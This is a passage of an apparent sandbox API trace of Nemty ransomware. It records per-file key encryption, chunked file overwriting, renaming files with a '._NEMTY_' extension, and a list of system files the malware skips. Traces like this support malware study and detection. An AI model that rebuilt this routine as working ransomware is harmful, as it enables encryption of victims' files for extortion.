| out: hHeap=0x4f90000) returned 1 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941c0 [0069.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0069.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94278 [0069.339] Sleep (dwMilliseconds=0x5) [0069.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcfa0490, dwHighDateTime=0x1d561e7)) [0069.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcfa0490, dwHighDateTime=0x1d561e7)) [0069.340] GetLastError () returned 0x5 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.340] GetLastError () returned 0x5 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0069.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0069.340] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0069.340] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="07plt+3K6DQw78yJ/y0kMldiTefU1JDbHVUkZ8OWFuJq6IEGhYYrTnJXZtBKw32L\r\nurlLltxa6sDLVRwYm8Wts6r3zOuTPnTLmtcehuEjiii7QkvHIM/PurM9ydb3Rmaa\r\nYF+iJcEvXuKKXdF6uXAsm9XFEE8wFG9zd7CRUvhAMmTrg8+dYs9hFSGKKDs/2R7v\r\n3KOBIDdE9soSh9xpyDRgELsIhQVgEk2XHdLW8c4FNXUxRy9h+GbhZeRrmo4oXznx\r\noT4Z/dJL1GxgtQ5Gs6xG4plnaoZL8DqF6exjyqTazhOj1s0cc1eHsIUts1DsHHmf\r\nxMhAQTsZ/H150WcD0twyPw==\r\n", pcchString=0x653ec5c) returned 1 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0069.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.340] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0069.341] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0069.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0069.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.369] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.446] CloseHandle (hObject=0xffffffff) returned 0 [0069.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94330 [0069.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0069.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340270 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.447] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0069.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.447] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0069.447] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0069.448] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0069.448] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0069.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0069.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0069.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0069.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0069.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94278 [0069.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0069.448] Sleep (dwMilliseconds=0x5) [0069.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdd0aae30, dwHighDateTime=0x1d561e7)) [0069.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdd0aae30, dwHighDateTime=0x1d561e7)) [0069.452] GetLastError () returned 0x5 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.452] GetLastError () returned 0x5 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0069.452] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0069.452] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0069.452] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0069.452] CryptBinaryToStringA (in: 